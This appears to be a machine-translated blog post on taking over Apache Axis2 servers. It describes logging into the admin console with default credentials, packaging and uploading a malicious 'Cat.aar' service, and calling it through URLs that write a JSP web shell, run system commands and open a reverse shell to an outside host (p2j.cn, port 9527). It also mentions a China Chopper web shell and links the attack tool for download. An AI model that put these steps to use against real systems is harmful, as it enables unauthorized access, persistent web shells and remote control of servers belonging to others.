AXIS2:
Web Service is now the most suitable technology for implementing soap, and AXIS2 is a technical framework (architecture) for implementing Web service.
Yesterday I packed the chopper script and found that the <> in XML would be escaped, causing the chopper client to be unable to connect. It seems that others can modify the response type, but I didn't succeed. You can play with your previous cat gadget and pack it into AAR.
Axis2 Admin Login Default configuration user name admin, password Axis2:
AXIS2 Management background:
To deploy your application, you need to first make a corresponding AAR, jar package. Install the Axis2 plugin with Eclipse.
Service Archive Wizard–eclipse Plug-in, Code Generator Wizard–eclipse Plug-in
: https://axis.apache.org/axis2/java/core/tools/index.html
After the download is complete, drop the corresponding jar directly into Eclipse's Dropins directory.
Create a new Java project and write the relevant script.
Exporting AAR:
Create a new AXIS2 service Archiver project after installation, and of course you can use Axis2 code generator to generate the WSDL file, depending on your needs.
Specifies that the class file compiles a directory for this project.
The WSDL can be automatically generated or load the generated WADL file and can be skipped. Add any external libraries do not continue to skip. Service.xml also automatically generates this to continue jumping to the next step.
Generate the Service XML file:
Select the class method that is available for external invocation. Service name is used to access after successful deployment. The last step is to write the AAR name and location to generate success.
Then continue back to the backstage deploy Cat.arr:File Cat.aar successfully uploaded
After successful deployment, cut to: Available services (available services).
Access: HTTP://LOCALHOST:8080/AXIS2/SERVICES/CAT?WSDL can see all the method names and specific parameters and return value types that can be called:
For example, the method of calling Getclasspathresponse inside Cat will return the current classpath.
Write shell:http://localhost:8080/axis2/services/cat/writestringtofile?data=test&file=/users/yz/to the Axis2 directory Documents/install/apache-tomcat-7.0.56/webapps/axis2/1.jsp&encoding=utf-8&append=false
Execute command: Http://localhost:8080/axis2/services/Cat/exec?cmd=whoami
Bounce shell:http://localhost:8080/axis2/services/cat/shell?host=p2j.cn&port=9527
Other features (file download, etc.) please refer to: Cat gadget, test done remember the service that corresponds to the available Services offload (remove service).
: Axis2 Use Gadget Cat.aar.zip
Axis2 Using Gadgets Cat.aar